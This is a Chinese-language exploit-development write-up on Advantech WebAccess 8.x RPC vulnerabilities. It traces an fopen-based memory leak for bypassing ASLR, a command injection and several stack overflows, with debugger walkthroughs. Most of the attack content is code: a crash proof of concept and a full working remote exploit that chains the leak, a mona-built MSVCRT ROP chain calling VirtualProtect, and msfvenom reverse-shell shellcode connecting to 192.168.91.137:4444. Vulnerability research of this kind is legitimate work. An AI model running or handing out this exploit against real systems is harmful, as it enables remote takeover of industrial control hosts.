0%

Advantech WebAccess 8.x<8.1 Multiple Vulnerabilities

本次实验讨论在Win10 21h2 x86系统,程序未开启ASLR,所以当初的栈溢出利用很简单,这里将程序加入WDEG,默认开启DEPASLR,使用IDAWindbg相结合的方式对其进行分析。

安装程序可以从Exploit-DB上下载:https://www.exploit-db.com/exploits/44278

用下面的POC来跟进程序执行,梳理程序的运行流程:(包含了impacket,直接在kali里运行即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):
dce.call(opcode, stubdata)
res = -1
try:
res = dce.recv()
except Exception as e:
print("Exception encountered..." + str(e))
sys.exit(1)
return res

if len(sys.argv) != 2:
print("Provide only host arg")
sys.exit(1)

port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

print("Connecting to the target")

dce = trans.get_dce_rpc()
dce.connect()

iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print("Getting a handle to the RPC server")
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print("Something went wrong")
sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
print("Received unexpected length value")
sys.exit(1)

print("Sending payload")

opcode = 11111

stubdata = struct.pack("<IIII", res[2], opcode, 0x111, 0x222)
buf = bytearray([0x41]*0x1000)

stubdata += buf
res = call(dce, 1, stubdata)
print(res)

print("Done, disconnecting")

dce.disconnect()

因为webvkeep是一个监控程序,会维持一个关于webvrpcs的心跳包,windbg attach webvrpcs调试的时候会暂停webvrpcs,导致webvkeep会重启webvrpcs,所以在windbg调试之前,先把webvkeep挂起来。

BOF

因为这里分析的程序与rpc协议相关,考虑IDA Plugin mIDA来加快分析

BOF

上面POC使用的Opcode0x01,这里跟进到0x01所对应的函数sub_401260IDA中跟进到函数所在地址,暂时看不出来更多信息,在windbg中相应位置下断点:

BOF

这里有个小诀窍,windbgIDA结合着看,一般只看自定义的函数即可,系统自带的函数可以直接跳过。

BOF

结合IDA看一下:

BOF

sub_4046D0似乎挺有意思,windbg中跟进sub_402C60

BOF

执行sub_4046D0之前,寄存器值的情况,ebx中保存的是POC传入的Opcode 11111,看一下此刻栈中保存的值:

BOF

我们传入的Opcode 11111会做为参数进入sub_4046D0函数,跟进该函数,后续进入一系列判断:

BOF

BOF

判断Opcode是否在0x2710h0x4E20h之间,0x2b67(11111)在它们之间。最后,进入如下分支:

BOF

DaDaqWebService函数是我们需要找到的函数,跟进去看一下,注意windbg中如下指令:

BOF

其中,edx保存的是传入的Opcodeedx的值减去0x2710h(10000),然后存入eax,后续都是拿eax的值在进行比较。观察IDA的分支,其实分成三部分,eax大于78h(118)、小于78h(分小于和等于)

大于或者小于分支:

BOF

小于或者等于分支:

BOF

在小于78h下面的分支中,发现一个有意思的地方:

BOF

调用了fopen函数,如果该函数没有关闭打开的文件句柄,是可以导致内存信息泄露的,跟进发现fopen后续没有对应的关闭句柄操作。因为程序开启了ASLR,可以通过这个地方的脆弱点导致内存信息泄露,进而Bypass ASLR

fopen的参数是我们可以控制的,注意fopen每个参数代表的意义。先来确定需要多少字符才能覆盖到ecxeax

fopen调用之前,看一下ecxeax的值:

BOF

得到他们的offset为如下所示:

BOF

随便找一个存在的文件名,看一下代码相关部分:

1
2
3
4
opcode = 0x277a

stubdata = struct.pack("<IIII", res[2], opcode, 0x111, 0x222)
buf = bytearray(b"C:\\WebAccess\\Node\\BwPAlarm.dll"+b"\x00"*230+b"r"+b"\x00"*0x500)

eaxecx设置不正确会出现Invalid parameter passed to C runtime function。我开始把两个值设置反了,导致出现这个异常。

来看一下设置正确后,fopen执行之后,发现返回的指针指向MSVCRT.DLL的某个地址:

BOF

BOF

进一步验证,发现POC代码的返回值也是指向MSVCRT.DLL某个地址的指针。这样,就可以获取MSVCRT.DLL的基地址,然后从MSVCRT.DLL中产生ROP Gadgets,最终可以Bypass ASLR

继续看一下Opcode0x2711时,最后会进入如下分支:

BOF

跟进sub_1D17B0

BOF

lpCommandLine是我们可以控制的,导致这里存在命令注入。windbg中调试确认一下:

BOF

现在命令注入只能启动系统已有的程序(包括自带的或其他安装的程序),为了能够触发反弹shell,考虑是否可以触发一个程序,然后该程序存在栈溢出,进而触发反弹shell

Advantech WebAccess中就存在很多这样的程序,这里以bwaccrts.exe为例。

开启windbg调试子进程:

BOF

或者将windbg执行目录加入环境变量,然后管理员权限下的cmd,运行windbg -I,这样程序崩溃后会启动windbg进行调试。

启动bwaccrts.exe的部分代码如下:

1
2
3
4
5
6
7
8
9
10
opcode = 0x2711

stubdata = struct.pack("<IIII", res[2], opcode, 0x204, 0x204)
overflow = b"\x41"*0x1000
attack = b"C:\\WebAccess\\Node\\bwaccrts.exe 1 %s" %overflow
attlen = len(attack)
fmt = "<"+str(attlen)+"s"
stubdata += struct.pack(fmt, attack)
res = call(dce, 1, stubdata)
print(res)

查看windbg

BOF

可以看到EIP被覆盖了,这里存在栈溢出。IDA中看一下:

BOF

漏洞点在sscanf函数,因为我们控制的输入会传入sscanf函数,最终导致栈溢出。

梳理一下利用流程:

1.利用0x277A的内存信息泄露获取MSVCRT.dll的基地址

2.构建基于MSVCRT.dllROP Chain

3.利用0x2711的代码注入漏洞,启动bwaccrts.exe

4.栈溢出bwaccrts.exe

5.最终绕过ASLRDEP

注意:源程序是未开启ASLR和DEP的,相对比较好利用,本地开启了ASLR和DEP之后,利用难度增加,试了好几次没有成功

注意到自己下载的版本高了,导致某些漏洞触发不了。换成Advantech WebAccess 8.0

因为漏洞实在是太多,这里选择IOCTL 0x138B4作为本次分析的漏洞触发点。其实开启ASLR之后,要触发本程序的关键在于找到泄露内存信息的漏洞点,前面提到的泄露MSVCRT.dll地址可继续作为Bypass ASLR的利用点之一。

跟踪IOCTL 0x138B4产生的漏洞点比较麻烦,需要跳转几个DLL。主要的漏洞触发路径为:

webvrpcs+0x1260(sub_401260:处理RPC 操作码0x01):

webvrpcs+0x2c10(sub_402c10):

webvrpcs+0x4590(sub_404590):

  • 调用BwRPCOpctoolService

    BOF

bwopctool!BwRPCOpctoolService:

  • 动态加载BwOpcSvc.dll:

BOF

  • 加载成功之后,调用BwSvcFunction

BOF

BwOpcSvc!BwSvcFunction:

  • 一堆分支

    BOF

  • 进入漏洞点函数:

BOF

BwBASScdDl!SCDDownloadTo:

BOF

最终,导致栈溢出,EIP被覆盖:

BOF

因为这里开启了ASLRDEP,现在需要考虑的是如何构建ROP Chain。结合前面分析可知MSVCRT.DLL的基地址是可以泄露出来的,所有后续ROP Gadget都从这个DLL中获取即可Bypass ASLR

题外话:关于如何获取VirtualProtect函数参数lpflOldProtect的值,这个参数需要指定为一个可写属性的内存区域。比较好的办法可以使用!address命令来搜索一块属性为PAGE_READWRITE的内存空间,命令如下:

1
!address /f:PAGE_READWRITE

来看一下结果:

BOF

任意选一块内存内容为空的地址作为lpflOldProtect参数值即可:

BOF

另外有个小的注意事项,覆盖EIP的值需要是MSVCRT.DLL中有执行权限的地址。

1
!py mona find -type instr -s "retn" -m MSVCRT.DLL -cpb "\x00"

BOF

利用脚本写多了,老是容易忘记一些简单的细节点,导致最终利用出现莫名其妙的小问题。

最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):
dce.call(opcode, stubdata)
res = -1
try:
res = dce.recv()
except Exception as e:
print("Exception encountered..." + str(e))
sys.exit(1)
return res

if len(sys.argv) != 2:
print("Provide only host arg")
sys.exit(1)

port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

print("Connecting to the target")

dce = trans.get_dce_rpc()
dce.connect()

iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print("Getting a handle to the RPC server")
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print("Something went wrong")
sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
print("Received unexpected length value")
sys.exit(1)

print("Sending payload")


#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbd\xc3\xbe\xde\xb4\xda\xc2\xd9\x74\x24\xf4"
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x68\x0e"
shellcode += b"\x03\xab\xb0\x3c\x41\xd7\x25\x42\xaa\x27\xb6"
shellcode += b"\x23\x22\xc2\x87\x63\x50\x87\xb8\x53\x12\xc5"
shellcode += b"\x34\x1f\x76\xfd\xcf\x6d\x5f\xf2\x78\xdb\xb9"
shellcode += b"\x3d\x78\x70\xf9\x5c\xfa\x8b\x2e\xbe\xc3\x43"
shellcode += b"\x23\xbf\x04\xb9\xce\xed\xdd\xb5\x7d\x01\x69"
shellcode += b"\x83\xbd\xaa\x21\x05\xc6\x4f\xf1\x24\xe7\xde"
shellcode += b"\x89\x7e\x27\xe1\x5e\x0b\x6e\xf9\x83\x36\x38"
shellcode += b"\x72\x77\xcc\xbb\x52\x49\x2d\x17\x9b\x65\xdc"
shellcode += b"\x69\xdc\x42\x3f\x1c\x14\xb1\xc2\x27\xe3\xcb"
shellcode += b"\x18\xad\xf7\x6c\xea\x15\xd3\x8d\x3f\xc3\x90"
shellcode += b"\x82\xf4\x87\xfe\x86\x0b\x4b\x75\xb2\x80\x6a"
shellcode += b"\x59\x32\xd2\x48\x7d\x1e\x80\xf1\x24\xfa\x67"
shellcode += b"\x0d\x36\xa5\xd8\xab\x3d\x48\x0c\xc6\x1c\x05"
shellcode += b"\xe1\xeb\x9e\xd5\x6d\x7b\xed\xe7\x32\xd7\x79"
shellcode += b"\x44\xba\xf1\x7e\xab\x91\x46\x10\x52\x1a\xb7"
shellcode += b"\x39\x91\x4e\xe7\x51\x30\xef\x6c\xa1\xbd\x3a"
shellcode += b"\x22\xf1\x11\x95\x83\xa1\xd1\x45\x6c\xab\xdd"
shellcode += b"\xba\x8c\xd4\x37\xd3\x27\x2f\xd0\x1c\x1f\x74"
shellcode += b"\xa9\xf5\x62\x8a\xb8\x59\xea\x6c\xd0\x71\xba"
shellcode += b"\x27\x4d\xeb\xe7\xb3\xec\xf4\x3d\xbe\x2f\x7e"
shellcode += b"\xb2\x3f\xe1\x77\xbf\x53\x96\x77\x8a\x09\x31"
shellcode += b"\x87\x20\x25\xdd\x1a\xaf\xb5\xa8\x06\x78\xe2"
shellcode += b"\xfd\xf9\x71\x66\x10\xa3\x2b\x94\xe9\x35\x13"
shellcode += b"\x1c\x36\x86\x9a\x9d\xbb\xb2\xb8\x8d\x05\x3a"
shellcode += b"\x85\xf9\xd9\x6d\x53\x57\x9c\xc7\x15\x01\x76"
shellcode += b"\xbb\xff\xc5\x0f\xf7\x3f\x93\x0f\xd2\xc9\x7b"
shellcode += b"\xa1\x8b\x8f\x84\x0e\x5c\x18\xfd\x72\xfc\xe7"
shellcode += b"\xd4\x36\x1c\x0a\xfc\x42\xb5\x93\x95\xee\xd8"
shellcode += b"\x23\x40\x2c\xe5\xa7\x60\xcd\x12\xb7\x01\xc8"
shellcode += b"\x5f\x7f\xfa\xa0\xf0\xea\xfc\x17\xf0\x3e"


def create_rop_chain(dllbase):

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_edx:---]
dllbase+0x000819e8, #(RVA : 0x000819e8) : # POP ECX # RETN ** [MSVCRT.dll] **
0x80808080,
dllbase+0x00068805, #(RVA : 0x00068805) : # POP EAX # RETN ** [MSVCRT.dll] **
0x7f7f7fc0,
dllbase+0x000395b2, #(RVA : 0x000395b2) : # ADD EAX,ECX # POP ESI # POP EBP # RETN ** [MSVCRT.dll] **
0x41414141,
0x41414141,
dllbase+0x00057994, #(RVA : 0x00057994) : # MOV EDX,EAX # MOV EAX,ECX # POP EBP # RETN ** [MSVCRT.dll] **
0x41414141,

#[---INFO:gadgets_to_set_ebp:---]
dllbase+0x0008acc9, # POP EBP # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x0008acc9
dllbase+0x0008acc9, # skip 4 bytes [MSVCRT.dll] ** REBASED ** ASLR 0x0008acc9
#[---INFO:gadgets_to_set_ebx:---]

dllbase+0x00068805, # POP EAX # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x00068805
0xfbdbbd24, # put delta into eax (-> put 0x00000201 into ebx)
dllbase+0x0009f669, # ADD EAX,42444DD # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x0009f669
dllbase+0x00017926, # XCHG EAX,EBX # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x00017926

#[---INFO:gadgets_to_set_ecx:---]

dllbase+0x0003a5d1, # POP ECX # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x0003a5d1
dllbase+0x000b6df7, # &Writable location [MSVCRT.dll] ** REBASED ** ASLR 0x000b6df7

#[---INFO:gadgets_to_set_edi:---]
dllbase+0x0008686e, # POP EDI # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x0008686e
dllbase+0x00041a05, # RETN (ROP NOP) [MSVCRT.dll] ** REBASED ** ASLR 0x00041a05

#[---INFO:gadgets_to_set_esi:---]
dllbase+0x00068445, # POP ESI # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x00068445
dllbase+0x0000d178, # JMP [EAX] [MSVCRT.dll] 0x0000d178
dllbase+0x000a10da, # POP EAX # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x000a10da
dllbase+0x000b81ac, # ptr to &VirtualProtect() [IAT MSVCRT.dll] ** REBASED ** ASLR 0x000b81ac

#[---INFO:pushad:---]
dllbase+0x00056f67, # PUSHAD # RETN [MSVCRT.dll] ** REBASED ** ASLR 0x00056f67

#[---INFO:extras:---]
dllbase+0x0000a47d, # ptr to 'call esp' [MSVCRT.dll] ** REBASED ** ASLR 0x0000a47d
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)


opcode_leak = 0x277a
stubdata = struct.pack("<IIII", res[2], opcode_leak, 0x111, 0x222)
# buf = bytearray(b"C:\\WebAccess\\Node\\BwPAlarm.dll"+b"\x00"*230+b"r"+b"\x00"+b'deadbeef'*0x1000)
buf = bytearray(b"C:\\Windows\\System32\\MSVCRT.dll"+b"\x00"*230+b"r"+b"\x00"+b'deadbeef'*0x1000)
stubdata += buf
print(len(stubdata))
res = call(dce, 1, stubdata)
res_int = struct.unpack("<L",res)[0]
# print(hex(res_int)) # MSVCRT!_iob+0xXX
dllbase = (res_int-0x000B2600)//0x10000*0x10000
print(dllbase)
print("dllbase: "+hex(dllbase))

dce.disconnect()


rop_chain = create_rop_chain(dllbase)

dce = trans.get_dce_rpc()
dce.connect()

iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print("Getting a handle to the RPC server")
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print("Something went wrong")
sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
print("Received unexpected length value")
sys.exit(1)

print("Sending payload")


opcode = 0x138B4

stubdata = struct.pack("<IIII", res[2], opcode, 0x111, 0x222)
# buf = bytearray([0x41]*0x1000) #crash
junk1 = b"\x41"*2240
nops = b"\x90"*32
# eip = struct.pack("<L",0xdeadbeef)
eip = struct.pack("<L",dllbase+0x00004e50) # 0x75d74e50 (b+0x00004e50) : retn | {PAGE_EXECUTE_READ} [MSVCRT.dll]
junk2 = b"\x42"*(4096-2240-4-len(rop_chain)-len(shellcode)-32)
payload = junk1+eip+rop_chain+nops+shellcode+junk2
stubdata += payload
res = call(dce, 0x01, stubdata)
print(res)

print("Done, disconnecting")

dce.disconnect()

喜闻乐见的反弹shell

BOF

参考:

1.https://www.zerodayinitiative.com/advisories/ZDI-16-053/

2.https://www.tenable.com/plugins/nnm/9862

3.https://blog.exodusintel.com/2018/09/13/to-traverse-or-not-to-that-is-the-question/

4.https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-address